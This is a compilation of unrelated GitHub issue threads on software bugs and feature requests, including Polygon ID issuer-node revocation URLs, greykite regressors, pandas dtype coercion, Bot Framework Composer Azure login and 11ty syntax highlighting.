This issue is actually regarding verification/ verifier, not regarding issuer. Can you please look into this or help me to get in touch with someone else.
Expected behaviour
Able to verify the attribute of the credential properly for every VC created.
Actual behaviour
Working for some VC's but isn't working for others.
Steps to reproduce the problem
Use the API's provided in the issuer node by hosting them publicly for creating VC's. During the verification process of those VC's I'm unable to verify all of them in expected manner.
System information
Issuer node version: vX.X.X
OS & Version: Windows/Linux/OSX
Browser & Version: Chrome/Firefox/Safari/Edge
Logs (if needed)

[logs]

When submitting logs, please submit them as text and not as screenshots.

Hi @PreethamReddyGade, can you please share the QR code of one of those failing verifications?

Hi @amonsosanz , I have a new observation regarding this. When I've issued a VC from issuer node testing environment (https://issuer-ui.polygonid.me), I'm able to verify it properly using the schema builder. But when it comes to getting issued with the API's, it's giving me an error(image shown above). So I have compared both the credentials(with same data in attributes, schema and everything), in my polygon Id wallet and found that the only difference is in the credentials status types.
VC's issued by Issuer node testing environment has credentials status types as both iden3ReverseSparseMerkelTreeProof and SparseMerkelTreeProof where as the VC's issued by issuer built in my local has only SparseMerkelTreeProof.
Do you think this is the issue? Should I change something in the issuer API's to have credentials status types as both?

Also if possible, can you provide me a public ISSUER_CREDENTIAL_STATUS_RHS_URL just for testing purposes.

You can use https://rhs-staging.polygonid.me for testing. Please don't use it in production.
Regarding the original 404 error, the issue is that the ngrok on proof[0].issuerData.credentialStatus.id is no longer available (https://50cf-103-24-21-138.ngrok-free.app).
When proof is generated, the app ensures that both the credential and the issuer that issued that credential are not revoked. For the issuer, this is done through the authCoreClaim credential that is created along with the identity of the issuer. In your case, this issuer node is no longer available so the revocation status check fails and therefore the 404 error.

I have hosted the issuer node on this ngrok url: https://3d6e-103-24-21-138.ngrok-free.app as you can see in the credentialStatus.id. I don't know how https://50cf-103-24-21-138.ngrok-free.app/ came up. Where/How should I change it?

I don't know how https://50cf-103-24-21-138.ngrok-free.app/ came up.

This is the URL you were using for the issuer node back in the day that you created the identity of the issuer (i.e. the first time you booted this issuer node, when the authCoreClaim credential, the issuer DID and the the genesis state were created).

Where/How should I change it?

You can change this value in the database but it is not a simple process so if you are just playing, the easiest path is to just re-create the identity of the issuer. If you're using docker, you can do this by just removing the containers and starting them again. Note though that all the data will be lost if you do this.
 If you want to keep using ngrok, I'd consider getting a custom domain.
If you decide to go the hard way and update  the URL in the current credentials, you will need to connect to the database of the issuer node and do it manually. Follow these steps:

Start a pgadmin container so you can do it from a UI:

docker run -p 8080:80 --network=issuer-network -e<EMAIL_ADDRESS>-e "PGADMIN_DEFAULT_PASSWORD=password" --name pgadmin_container -d dpage/pgadmin4

Access http://localhost:8080 from a browser

On the initial screen, enter the credentials you used in the command above<EMAIL_ADDRESS>
From the dashboard, click "Add new server"

Name it "Issuer Node"

Click the tab "Connection", input these values and click "Save"

On the left column, browse to Servers > Issuer Node > Databases > platformid > Schemas > public > tables, right click the claims table and select "View/Edit Data > All Rows"

Your credentials (a.k.a claims) will be loaded. Scroll to the right until you reach the column credential_status. You will see that the value is a JSON.

You now need to find the credential with the revocationNonce 0 (i.e. the authCoreClaim credential) and update the domain on the URL stored in the id property of the JSON with the new domain of your issuer node. Double click the row to update it and click "Ok" when you're done.

Finally click this button to save the changes

From that point all the new credentials that you issue should be working, but take into account that the old credentials will still be broken, unless you also update them with the new URL.
Hope this helps! Let me know how it goes and just come back to us if you need more help.

Hi, we considered this issue relevant enough to create a new FAQ on our documentation site. You can find it here to get even more context on the issue.


Instagram Redirects to Login after Logging In

Application version: 3.0.0
OS: Windows 10

Steps to Reproduce:

Add Instagram to your apps
Go to newly installed Instagram app
Login as normal
It redirects you to the login screen

Here's a link to what the bug looks like: https://youtu.be/Q-wIs6YQXOU

It's not reproducible for me.
I log into Instagram without any problems.

It's not reproducible for me. I log into Instagram without any problems.

But you saw the video, right? So you know that I have this problem.


Add Blury Loading

Project description

Image is displayed with a blur filter over it.

hello @arpit456jain i want to add this project so please assign to me.

hey! I want to  make Blurry Loading with html, CSS, and JavaScript(
document.querySelector( ) ,
document.innerHtml ,
blur  function( )
clearInterval( )
)
Please assign me with this issue.

@gkumar-pandey lets give her a chance


Regressors Already Forecastd, No Lag Needed. But, getting AttributeError: 'dict' object has no attribute 'lagged_regressors'

Hi,
Thank you for providing this wonderful forecasting package! I've having the best time exploring the greykite package!
However I ran into a tiny issue about regressors:
I'm forecasting with regressor on this type of data:

So my regressor is already forecasted and no lagging needed.
But I keep getting this error saying "AttributeError: 'dict' object has no attribute 'lagged_regressors'"
FYI This is the config I've been using:
metadata = MetadataParam(
    time_col='date',
    value_col='fake_target',
    freq='D',
    train_end_date = '2022-01-10'
)
evaluation_period = EvaluationPeriodParam(
    cv_max_splits=0 # This is to disable CV for demo purposes and just train it on the full data
)
evaluation_metric = EvaluationMetricParam(
    cv_selection_metric=EvaluationMetricEnum.RootMeanSquaredError.name
)

model_components = dict(
    growth=dict(growth_term=None),
    regressors=dict(
        regressor_cols=["fake_regressor"]
    ),
    autoregression=dict(autoreg_dict=None),
    lagged_regressors = dict(lagged_regressor_dict = None) # This is the confusing part, I explicitly said NO lagged terms
)

config = ForecastConfig(
    model_template=ModelTemplateEnum.SILVERKITE.name,
    forecast_horizon=5,
    coverage=0.95,
    metadata_param=metadata,
    evaluation_period_param=evaluation_period,
    evaluation_metric_param=evaluation_metric,
    model_components_param=model_components
)

# And run
forecaster = Forecaster()
result = forecaster.run_forecast_config(
    df=train,
    config=config
)

And here's a screenshot of the error

I was wondering where I did wrong?
Thank you in advance for your support and have a wonderful day!
All the best,
Kathy Gao

Hi Kathy, can you try the following?
model_components = dict(     growth=dict(growth_term=None),     regressors=dict(         regressor_cols=["fake_regressor"]     ),     autoregression=dict(autoreg_dict=None),     lagged_regressors = None  )

Hi @yuncxu
I tried the above model_components but is still hitting the same error

@yuncxu
Here's a replicable code to reach this error. I'm using the latest version of greykite greykite==0.4.0
import pandas as pd
import random
import plotly
from greykite.common.evaluation import EvaluationMetricEnum
from greykite.framework.templates.autogen.forecast_config import MetadataParam
from greykite.framework.templates.autogen.forecast_config import (
    ComputationParam, EvaluationMetricParam, EvaluationPeriodParam,
    ForecastConfig, MetadataParam, ModelComponentsParam)
from greykite.algo.changepoint.adalasso.changepoint_detector import ChangepointDetector
from greykite.framework.benchmark.data_loader_ts import DataLoaderTS
from greykite.framework.templates.autogen.forecast_config import ForecastConfig
from greykite.framework.templates.forecaster import Forecaster
from greykite.framework.templates.model_templates import ModelTemplateEnum

# Generate Replicable Random Table
random.seed(1008)
fake_target = random.sample(range(0, 100), 31)
fake_regressor = [1 if x > 30 else 0 for x in random.sample(range(0, 100), 100) ]
datelist = pd.date_range('2022-01-01', periods=100).tolist()
train = pd.DataFrame({'date': pd.Series(datelist),
                      'fake_target': pd.Series(fake_target),
                      'fake_regressor': pd.Series(fake_regressor)
                     })
train.head(3)

# Set up configuration
metadata = MetadataParam(
    time_col='date',
    value_col='fake_target',
    freq='D',
    train_end_date = '2022-01-31'
)
evaluation_period = EvaluationPeriodParam(
    cv_max_splits=0 # This is to disable CV for demo purposes and just train it on the full data
)
evaluation_metric = EvaluationMetricParam(
    cv_selection_metric=EvaluationMetricEnum.RootMeanSquaredError.name
)
model_components = dict(growth=dict(growth_term=None),
                        regressors=dict(regressor_cols=["fake_regressor"]),
                        autoregression=dict(autoreg_dict=None),
                        lagged_regressors=None)
config = ForecastConfig(
    model_template=ModelTemplateEnum.SILVERKITE.name,
    forecast_horizon=30,
    coverage=0.95,
    metadata_param=metadata,
    evaluation_period_param=evaluation_period,
    evaluation_metric_param=evaluation_metric,
    model_components_param=model_components
)

# And run
forecaster = Forecaster()
result = forecaster.run_forecast_config(
    df=train,
    config=config
)

@KathyGCY Can you show the error message again?

Yes @yuncxu It seems like it might be the same error message

Hi @yuncxu
Great News!!! It Worked!!! Thank you so much for your help!!! 🙏
And thank you again for this great package!!!
Have a wonderful day!


Change title and description

Hello !
It would be great as previously possible to change the API title and description in the config file :)
https://github.com/rakutentech/laravel-request-docs/blob/63511df8c01deb6946d2ca0581c0169ea96f46f0/src/LaravelRequestDocsToOpenApi.php#L17
https://github.com/rakutentech/laravel-request-docs/blob/63511df8c01deb6946d2ca0581c0169ea96f46f0/src/LaravelRequestDocsToOpenApi.php#L18

Okay :)

No body gave a pull req. Closing it.


[Feature] Validation message customization.

Hello,
This is a good package to validate text, thanks.
We would ask if there is a way to customize the error messages: let's say if we want to put or longer messages, or if we want to localizate them in other languages.
Is it hard to do?
Thanks

RequireValidator(errorMesaage:)


6.0 Feedback:  wifi symbol is out of the  in robots slideout

Overview
wifi symbol / usb symbol is out of the  on Robot slideout
Current Behavior

Expected Behavior

Steps To Reproduce
Goto Protocols landing page -> Goto protocols details page -> click on the protocol card, robots slideout opens.
the Wifi symbol / usb symbol is out of the
Operating system
No response
Robot setup or anything else?
No response

The first—text wrap with the wifi appended to the end of the 2nd line! Mocked up here

verified


Argument suggestions when applying functions

I love how HIE now suggests functions arguments.
However, in some cases, it goes a bit too far and suggests arguments that are already provided.
One obvious case would be "chained" functions (monadic composition, or just function application with &):

Another example: record fields have the same issue:

It would be super cool if this feature could be a bit more contextful.

I'd love to have this feature as well, but can't think of a sane way of implementing it

One way of starting would be to scrape up all the type information in the completion contexts: #847


Clang-tidy information should not be taken into account when the Checks is provided on the command line.

Description
It seems the "Checks: hicpp*" from a clang-tidy in the same folder is also considered
when executing the command from the command line.
From  https://clang.llvm.org/extra/clang-tidy/
Section: Configuration files:
"If any configuration options have a corresponding command-line
option, command-line option takes precedence. "
Note:  Command: "clang -clang-tidy -clang-tidy-checks=* File1.cpp", I get warnings for "hicpp*, readability* and modernize-* ".
Reproduction Steps
No file: clang-tidy
command: clang -clang-tidy -clang-tidy-checks=modernize-* File1.cpp should only return warnings associated to " modernize " ==> OK
Now create a file : .clang-tidy and set the following: " Checks: hicpp*, "
Run the same command : clang -clang-tidy -clang-tidy-checks=modernize-* File1.cpp ==> get warnings for hicpp* and modernize* ==> NOT OK according
of the comment on the documentation.
I think it was nice to be able to supersede the value set in ".clang-tidy" file
OS:
Ubuntu 16.04
Clangd: clangd version  9
Diagnostics:
According to documentation , the "Checks" from the .clang-tidy file should only apply when the "-clang-tidy-checks=" is not provided from the command line.

This is by-design in clang-tidy. The document might be confusing there -- basically we merge the configs from .clang-tidy and -clang-tidy-checks.
If you want to drop the configs from .clang-tidy, you'd need to disable it in -clang-tidy-checks, which is --clang-tidy-checks=-*, modernize-*.

I think it would be nice if the documentation was updated to remove confusion.
Thanks @hokein  for your information.


Do BAM files go in to the tmp dir? How much scratch space is needed for freebayes template?

Hi,
Do BAM files go in to the tmp dir if one is specified for a freebayes template analysis?
resources:
tmp:
dir: $YOUR_SCRATCH_LOCATION
http://bcbio-nextgen.readthedocs.org/en/latest/contents/configuration.html#temporary-directory
So if I have 10 samples that will each produce bam files of 100GB, and I analyze 2 samples in parallel per cluster machine I need 400 GB scratch space per cluster machine? 200 GB for storing the bwa output BAM files and 200 GB for storing the de-duplicated bam files?
Is the BWA output BAM file deleted and the de-duplicated bam file moved to the working directory after de-duplication is finished?
Would is be possible to start creation of the coverage bed files directly after marking the duplicates? This to make use of the BAM file still being in the scratch dir and not in the working dir?
This would also spread out the IO load of the bedtools stream trough bam files more. Because not all BAM files would be streamed at the same point in time.
Thanks!
Neill

Neill;
The temporary directory is used while file writes are in progress. When finished, the files get moved back to the work directory. bcbio streams alignment to de-duplication so there are not separate intermediate files for bwa and de-duplication and the expected needed temporary space is approximately that of each BAM file.
We don't currently have a way to run coverage on files in the temporary directory since those are separate steps and the finalized BAM file gets moved back to the shared space. Longer term we're working on supporting the common workflow language (CWL -- https://github.com/common-workflow-language/common-workflow-language)  which does not assume shared filesystems so we'll be able to make optimizations like that in the future. But that's still a work in progress.
Hope this helps -- feel free to reopen this if you need any additional details.

Ok thank for you for the information.


Added Wave Print In a Matrix (both row-wise and column wise)

Fixed issues: #1188
Description:

Added code for row-wise print
Added code for column wise print
Readme file that include algo for both above codes.

not assigned

not assigned

Hello sir, I noticed that I created a pull request without getting assigned it . I am extremely sorry for this behavior. I apologize if this caused any inconvenience. I just wanted to contribute and help improve the project. If there's any particular process or guidelines I should follow for future contributions, please let me know, and I will be sure to adhere to them.
I also request you if you liked the changes I made to kindly inculcate it in your projects, as i have searched for the ones which aren't there in your repository.
Thank you for your understanding, and  I appreciate the opportunity to contribute to this project. Please let me know if there’s anything further I can do to assist with this PR.
Thank you!


Add Yearn parsing logic

Description
We don't currently support detecting and parsing Yearn transactions.
Related issues
Addressing this ticket either unblocks or closes a number of existing issues:

https://github.com/shapeshift/web/issues/829
https://github.com/shapeshift/web/issues/786

Blocked by:

https://github.com/shapeshift/unchained/issues/236

Work to be done

Create a new parser for Yearn, that supports the full set of commonly used transaction types
Review and refactor logic and architecture in /parser/src/ethereum/index.ts

Resolved by https://github.com/shapeshift/unchained/pull/267 - I'll jump into web next and get it sorted on the front end.


MathJax 3 dies while trying to escape its commands.

In MathJax 2 I was able to write a line of HTML like

Write \$\int f(x)\, dx\$ instead of \int f(x)\, dx

escaping MathJax commands.
I have found that such a line kills MathJax 3.0.1, appearing in the web console:
TypeError: t.setAttribute is not a functiontex-mml-chtml.js:1:262087
Example pages (identical except for MathJax versions) are:
https://math.tecnico.ulisboa.pt/test.php (MathJax 3)
https://math.tecnico.ulisboa.pt/test2.php (MathJax 2)

This is a duplicate of #2327, which will be fixed in the next release.  That linked issue contains a work-around that you can use in the meantime.


[Rector] Enable AddDefaultValueForUndefinedVariableRector

Description
AddDefaultValueForUndefinedVariableRector now already cover isset variable check, so I think it can be enabled.
Checklist:

[x] Securely signed commits

All green :tada:

Sorry, phpstan-baseline.neon.dist was conflicted.
Can you rebase?

@kenjis rebased 👍

Oooh this is handy!!


Type inferencing makes assignment non-idempotent

Code Sample, a copy-pastable example if possible
>>> import pandas as pd
>>> s = pd.Series()
>>> ts = pd.Timestamp('2016-01-01')
>>> s['a'] = None
>>> s['b'] = ts
>>> s
a                   None
b<PHONE_NUMBER>000000000
dtype: object

OK, no worries, we got coerced to integer. Now let's just redo the same assignment:
>>> s['b'] = ts
>>> s
a                   None
b    2016-01-01 00:00:00
dtype: object

That's ... suprising. This is probably just an unfortunate feature of a type inference algorithm, but it's awfully shocking.
Expected Output
The two outputs above would be identical; I'd prefer that they were both the second form (with timestamp information preserved), but anything consistent would be better than the current state.
output of pd.show_versions()
>>> pd.show_versions()

INSTALLED VERSIONS
------------------
commit: None
python: 2.7.11.final.0
python-bits: 64
OS: Darwin
OS-release: 15.6.0
machine: x86_64
processor: i386
byteorder: little
LC_ALL: None
LANG: en_US.UTF-8

pandas: 0.18.1
nose: None
pip: 8.1.2
setuptools: 25.1.4
Cython: None
numpy: 1.11.1
scipy: None
statsmodels: None
xarray: None
IPython: None
sphinx: None
patsy: None
dateutil: 2.5.3
pytz: 2016.6.1
blosc: None
bottleneck: None
tables: None
numexpr: None
matplotlib: None
openpyxl: None
xlrd: None
xlwt: None
xlsxwriter: None
lxml: None
bs4: None
html5lib: None
httplib2: None
apiclient: None
sqlalchemy: None
pymysql: None
psycopg2: None
jinja2: None
boto: None
pandas_datareader: None

I recall an issue exactly like this, but can't seem to find it ( @sinhrks do you remember)?
will mark it. These should be the same (and not coerce to int). It should remain object dtype.

pull-requests of course are welcome!

I suppose so, but what i could find is related to replace (#12747).

I wouldn't be surprised if this is related to https://github.com/numpy/numpy/issues/7619

I'm not able to reproduce this.
>>> ser = pd.Series()
>>> ser['a'] = None
>>> ser['b'] = pd.Timestamp('2016-01-01')
>>> ser
a          NaT
b   2016-01-01
dtype: datetime64[ns]

Is this still an issue?
>>> pd.show_versions()
Duplicate key in file '/Users/sinayoks/.matplotlib/matplotlibrc' line #381.

It looks like it happened somewhere between 0.25.0rc0 and 0.25.0, but I didn't try to bisect any further:

would take a test PR for this


Do not use shaded dependencies from testcontainers

Also fixed a flaky test where it depends on the current date. On a leap
day, now + 1 year - 1 year results in 2/28 instead of 2/29.

This change is

Note that FOSS SQL integration tests run deployed code against new SQL, therefore they still fail on 2/29/2024 due to the flaky test.


diag_source option not working

by defaultfzf.diagnostics_document shows the source file path.
I am trying to remove source file path as below:
vim.keymap.set('n', ' d', function() fzf.diagnostics_document({diag_source=false}) end, { desc = "Open diagnostic picker" })

but it is still showing the source file path

by defaultfzf.diagnostics_document shows the source file path.

Diag source is for displaying the name of the originating LSP server not for the source file path, it’s actually off by default, you can see the difference if you run :FzfLua diagnostics_workspace diag_source=true.
If you wish to hide the file paths use --delimiter and --with-nth in fzf_opts, search the issues and man fzf to understand how it works and how to use it.

got it. thanks


Iterative methods for solving linear systems/eigenproblems

Routines like (Bi-) conjugate gradients, MINRES, GMRES, SYMMLQ, LOBPCG etc. are not part of LAPACK but may fit in faer as well. Would you accept PRs for a faer-iterative crate for large/non-dense problems?

yeah, i'm planning to work on those once i finish the LAPACK-like interface
i have a few others in mind too


[Question] Has Any plans Publishing  official  installation on Windows or Linux?

Do you have any plans to release official Windows installation packages, such as MSI or EXE files, in reference to your previous maintenance work on the Redis Windows project?
Anyway，We need Linux  official installation ,Like RPM.
I am aware that Docker has become the prevalent choice, however, within numerous legacy industrial projects, there exists a preference for independent deployment of the respective services. This preference is particularly strong when it comes to the Windows platform, where these services are expected to operate autonomously. Hence, I remain hopeful that the official provider would offer a reliable installation program capable of automatically registering the service as a native Windows service.
### Tasks

We are working through the different options on what we will release and how we release them. Unfortunately, at this time, I can't give you more detailed info other than it is being thought of and what, when and how are still TBD.

I understand that it is to be decided but seems like good things always takes time! I am eagerly waiting for installable RPM files to use on my EL9 servers. Thanks! Or, at-least make .spec file available so we can compile.


Ruby client: export_file

Calling export_file returns an undefined method error when using Google API Ruby client 0.9, although I can still see it inside the source here: https://github.com/google/google-api-ruby-client/tree/a68c43da9cf86cb0fd7af8d071d62d6e30c39a14
Trying get_file(file_id, 'mime type', download_destination: StringIO.new) throws an error of invalid arguments (3 instead of 2). I guess 'mime type' isn't accepted anymore?
Trying just get_file(file_id, download_destination: StringIO.new) returns nil.
I'm trying to get the raw html contents of the doc.
Using 0.9 version of the gem.
Any ideas?
Thanks!

Which version of drive api? v2 or v3?
For v2, that method was only recently introduced and you'll need to be on 0.9.3+

Yes, V2, thank you. I'll try it out and update you soon.


feat: add address endpoint and release swagger v1.0.0

Description

closes: #89

Before we can merge this PR, please make sure that all the following items have been
checked off. If any of the checklist items are not applicable, please leave them but
write a little note why.

[ ] Appropriate labels applied
[ ] Targeted PR against correct branch
[ ] Linked to Github issue with discussion and accepted design OR link to spec that describes this work.
[ ] Code follows the module structure standards.
[ ] Wrote unit and integration
[ ] Updated relevant documentation (docs/) or specification (x/<module>/spec/)
[ ] Added relevant godoc comments.
[ ] Re-reviewed Files changed in the Github PR explorer
[ ] Review Codecov Report in the comment section below once CI passes

@hallazzang @kogisin I know it's hard to review due to the retreat, but Let me merge it first due to the release schedule. Please review it later.

@kogisin Thanks for the suggestions, I just commit on https://github.com/tendermint/budget/pull/91


Bug: Add realized funding to position

Fix a bug where realized funding from the offchain position history was not applied to the position.

@avclarke Good call - I just worked it into the selector instead and this is much simpler.


Publishing 1.3.0 to Web App hangs after logging in

Describe the bug
I'm trying to publish as an Azure web app.  I created just a basic echo bot template.  I then started the process to add a new publish profile and select the web app option.  It asked me to login to Azure which I did successfully.  It then hung on the "Configure resources" page.  It says "Loading" with the spinning wheel but nothing ever actually loads.
Version
1.3.0
Browser
Not really meaningful for this point since I'm just trying to publish.

[ ] Electron distribution
[x] Chrome
[ ] Safari
[ ] Firefox
[ ] Edge

OS

[ ] macOS
[x] Windows
[ ] Ubuntu

To Reproduce
Steps to reproduce the behavior:
Create a new publish profile
Give it a name and select the publish to Azure Web App option
Login
It hangs on the next screen trying to load resources
I belong to a lot of different directories so is it possible it's related to that?
Expected behavior
I expect it to show the create resources UI as documented in the publish documentation:
https://docs.microsoft.com/en-us/composer/how-to-publish-bot
Screenshots
It's stuck on the below screen:

Additional context
I have previously been using 1.2.1 and was able to use the provision script there to publish bots. I was also able to publish bots to the provisioned resources from Composer for older versions.  I tried opening one of those bots with 1.3.0 and publishing and I receive an error message saying, "Error - Required field accessToken is missing from publishing profile.".  The accessToken field is definitely in there, though, in the same place it was in 1.2.1.  I ran an "az account get-access-token" and pasted the new token in to make sure it had a valid one.
That may be a separate issue with 1.2.1 publish profiles not working with 1.3.0, though.  Which isn't as big of a deal right now since I could ideally create a new profile if needed.  The interesting thing, though, is that 1.2.1 bots can be published but it runs into an issue with 1.3.0.  So, my Azure account is setup with everything it needs to publish bots and it just seems to be an issue with the UI retrieving Azure information for some reason.

@luhan2017 @benbrown can one of you investigate?

@luhan2017 @benbrown can one of you investigate?

@bdezeeuw , could you please help provide more information here? Click View->Toggle Developer Tools. and share the Console logs.

@bdezeeuw , could you please help provide more information here? Click View->Toggle Developer Tools. and share the Console logs.

Sure!  Here it is:
ConsoleLog.txt

Sure!  Here it is:
ConsoleLog.txt

@bdezeeuw , thanks for your response, I think we got an error when decoding your token. We still need your help to get more information here.
azurePublish:1339 decode token error in  s {message: "Invalid token specified: Cannot read property 'replace' of undefined"}message: "Invalid token specified: Cannot read property 'replace' of undefined"__proto__: InvalidTokenError

Could you follow the steps to get your token to debug?

Open commnd line tool and Go to the composer exe folder, usually located here: C:\Users{YourUserName}\AppData\Local\Programs\Bot Framework Composer
run set debug=composer*
start Bot Framework Composer from the command line
Try to Add a new publish profile and do azure login in Composer Election app.
Check the command line tool log, if you can see the token like the following, go to jwt.ms and decode the token, otherwise, please help paste the logs here.

Please let me know if the process above is too complicated, we can set up a sync up meeting to go though the steps.
Thanks, Lu

@bdezeeuw , thanks for your response, I think we got an error when decoding your token. We still need your help to get more information here.
azurePublish:1339 decode token error in  s {message: "Invalid token specified: Cannot read property 'replace' of undefined"}message: "Invalid token specified: Cannot read property 'replace' of undefined"__proto__: InvalidTokenError

Could you follow the steps to get your token to debug?

Open commnd line tool and Go to the composer exe folder, usually located here: C:\Users{YourUserName}\AppData\Local\Programs\Bot Framework Composer
run set debug=composer*
start Bot Framework Composer from the command line
Try to Add a new publish profile and do azure login in Composer Election app.
Check the command line tool log, if you can see the token like the following, go to jwt.ms and decode the token, otherwise, please help paste the logs here.

Please let me know if the process above is too complicated, we can set up a sync up meeting to go though the steps.
Thanks, Lu

I grabbed the logs starting from the auth section and attached them in the file below:
DebugLog.txt

I grabbed the logs starting from the auth section and attached them in the file below:
DebugLog.txt

@bdezeeuw Thanks for sharing more logs here. This seems relates to an external package which we are depending on, we are contacting them on this issue which may take some time. Is this blocking you currently? Maybe you could downgrade your composer to 1.2 as a work around?

@bdezeeuw Thanks for sharing more logs here. This seems relates to an external package which we are depending on, we are contacting them on this issue which may take some time. Is this blocking you currently? Maybe you could downgrade your composer to 1.2 as a work around?

Yes, I'm able to work on v1.2.1 currently.  I'm looking forward to using some of the new features once they figure out the issue.
Thanks for the help, @luhan2017!

Yes, I'm able to work on v1.2.1 currently.  I'm looking forward to using some of the new features once they figure out the issue.
Thanks for the help, @luhan2017!

@VanyLaw Let's update the code to make sure we show the correct error message.

@VanyLaw Let's update the code to make sure we show the correct error message.

Hi @bdezeeuw ,
We forwarded your logs over to the authentication team, and were able to help us debug your issue.
In short, the domain that you are trying to log into is not a "federated domain," and so we have to add code on our side to handle that special case and sign you in interactively to acquire a token instead of silently acquiring a token.

Note to fixer:

Check accountType property on received account object after sign-in
If accountType is non-federated, use acquireTokenInteractively instead of acquireTokenSilently
a. I think we might already do this, but we need to look for it in the catch block instead of checking the result for result.error

show the correct error message in https://github.com/microsoft/BotFramework-Composer/pull/6112

@VanyLaw , The issue is not fixed yet, we should support non-federated account login.

Hi everyone! I am having the same issue on Bot Framework Composer. I've tried signing in from a different and work-education account as well and keeps getting me the same issue!


Another JavaCard TLS implementation

I just found this and it does not seem to be on the list, yet: https://github.com/gilb/smart_card_TLS/tree/master/src

Thank you, added now - its client-side TLS 1.0 implementation


Look at using a heftier but more robust syntax highlighter

A couple of options:

https://github.com/atom/highlights
One for Gatsby using VSCode: https://github.com/andrewbranch/gatsby-remark-vscode

How about Shiki? https://github.com/shikijs/shiki

BTW, I tried to implement it in my own Eleventy setup, but Shiki is async and Eleventy config does not support async functions. Any ideas on how to tackle this?
Also, don't know if people have seen this one. I've switched to it https://github.com/b-kelly/eleventy-plugin-highlightjs

If you want to use async you’ll need to do it inside of a shortcode or filter
Async docs here:

https://www.11ty.dev/docs/shortcodes/
https://www.11ty.dev/docs/languages/nunjucks/#asynchronous-nunjucks-filters
https://www.11ty.dev/docs/languages/javascript/

Liquid might support async filters too—honestly I’m not sure yet

See also https://github.com/11ty/eleventy/issues/614

Yes. Please add this.
The current highlighter is adding extra <br> charactor while including from normal njk file.  And no way to remove this.

I've spend yesterday evening playing around with shiki in elventy and I must say, that I think shiki is just awesome.
It's really barebones and its aproach is completely different compared to prismjs and it still has some rough edges, but with about 50 lines of JS (11ty config) + 50 lines of CSS I was able to reproduce the following features of torchlight.dev (which was mentioned as a potential replacement in #74):

focus (blurring everything else except on hover)
highlight
line numbers
add/remove/changed markers
correct combination of the features
line numbers and add/remove markers working together
custom classes per line

I just made it work with annotations for each line, but it should be easy to adapt for the range one. Currently it's just a test, but I want to expand on this one.
Here is an example screenshot with some proof of concept styling:

@codechips I also solved your problem with the async getHighligher() function!
Just use the "eleventy.before" event which can execute and await an async function.
const markdownIt = require("markdown-it");
const shiki = require("shiki");

module.exports = (eleventyConfig) => {
  // Move highlighter to this scope, so it's available everywhere
  let highlighter;

  // Async setup of shiki highlighter
  eleventyConfig.on("eleventy.before", async () => {
    highlighter = await shiki.getHighlighter({ theme: "dark-plus" });
  });

  // build markdownIt options
  let options = {
    html: true,
    highlight: (code, lang) => highlighter.codeToHtml(code, {lang}),
  };

  // switch to custom markdownIt
  eleventyConfig.setLibrary("md", markdownIt(options));
};

I'd definitely love to see something else used than PrismJS, Shiki definitely looks interesting and I wish I'd come across it the other week. @Snapstromegon your sample output looks promising.
I've released a WIP plugin using the Chroma library written in Go. It supports line numbers, highlighting range of lines, tab width, and custom color for highlighted lines. (I think I'll add the focus mode as an experiment, also note I am inlining the code styling atm)
But it's slow (finding about 7-8 times slower the PrismJS & HighlightJS on the same demo files) because each code block is a call out to a Go executable. . I want to look and see if there is a JavaScript→Go bridge

I think Highlight.js does a much better job than Prism. Very easy to setup too. Just npm i highlight.js then update your config as follows:
import hljs from 'highlight.js';

export default function (eleventy) {
  eleventy.amendLibrary('md', md => {
    md.options.highlight = (str, lang) => {
      if (lang && hljs.getLanguage(lang)) {
        try {
          return hljs.highlight(str, { language: lang }).value;
        } catch (__) {}
      }

      return ''; // use external default escaping
    };
  });
};

Finally, add a theme, e.g.:
<link href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/monokai.min.css" rel="stylesheet" />

Browse the themes here: https://highlightjs.org/demo

Since my last post here, shiki did a 1.0 release and more and in my opinion this is right now the bar to beat as it behaves most like VSCode with theming and highlighting / language support. It also offers a fairly good flexibility and plugin system with good features out of the box and even though I didn't do the major upgrade, because my blog has some incompatible custom things, I think that this is right now the best was forward.
Also Shiki natively supports dual-themeing (so light/dark), is easy to modify/adapt and to include into 11ty. It's also used in other SSGs like Astro.


Datepicker: how to get current format

Feature Description or Question
How to get current date format the datepicker is using? for example:  mm/dd/yyyy
Use Case
I would like to show the user the date format in or next to the input box. I know how to import another Locale and the datepicker automatically uses the right date format, but I would also like to display this date format to the user.
So if I changed the Locale to localeNl, I want the date format that is displayed to the user to show dd-mm-yyyy instead of mm/dd/yyyy. Sometimes a user doesn't use the datepicker and manually enters the date. I just want the user to know which format to use.

You can get the current MatDateFormats object by injecting it, that won't necessarily be in human readable format though (e.g. https://stackblitz.com/edit/angular-kgtnrw?file=src/app/datepicker-overview-example.html).
Converting it to human readable format isn't a feature we plan to add. It's outside the scope of Angular Material as it depends on the particular Date implementation you're using and the kind of formats that implementation deals with


SUBMARINE-815. Export ModelsClient from pysubmarine init

What is this PR for?
Export ModelsClient from pysubmarine/submarine init.py
Example:
from submarine import *
client = ModelsClient()

before: failed
after: success
What type of PR is it?
Bug Fix
Todos
What is the Jira issue?
https://issues.apache.org/jira/browse/SUBMARINE-815
How should this be tested?
Screenshots (if appropriate)
Questions:

Do the license files need updating? No
Are there breaking changes for older versions? No
Does this need new documentation? No

@jeff-901 Can u add an example of what problem u solved?

@jeff-901 Can u add an example of what problem u solved?

ok

LGTM


Test Black with minifyAction

Is your feature request related to a problem? Please describe.
There is no problem with this feature.
Describe the solution you'd like
MinifyAction Can minify css, js and HTML files to make the site faster.

Seems like not compatible


After flashing TLS example no more flashable

Hello,
after i flash the TLS-Server example on the ESP i can't flash the ESP.
The example boot and work. The listening via UART is possible. All prints from the example are arriving.
Sending information via UART isn't possible or isn't processed.
The connection with esptool etc. isn't possible.
Is there a way to bring it to a mode were i can flash it?
best regards

Hi @jackasses,
The serial bootloader on the ESP is in hardware (the bootloader runs from ROM.) Going into program vs bootloader mode is determined by the pin configuration at reset or poweron.
There are some details about the pins involved here:
https://github.com/themadinventor/esptool#entering-the-bootloader
Angus

Thanks for this Details.
Now i know more this Problem.
I done everything witch this modul to flash it.
Now it is in the bootloader mode and sends with 74,8kBaud the boot informations.
That is the only thing it do.

If you're seeing boot information then you're correctly getting to the bootloader mode, so esptool.py should be able to do flashing operations, etc.
If you pull gpio1 high and then reset (or power off & on) then the normal program will run instead.
I'm going to close this issue because it seems like esp-open-rtos is working properly. If you think there's a bug in esptool.py then feel free to open an issue there, however it sounds to me like if you follow the hardware troubleshooting steps on the esptool.py page then you will get it going OK.


Create Gui for showing results #18 - update

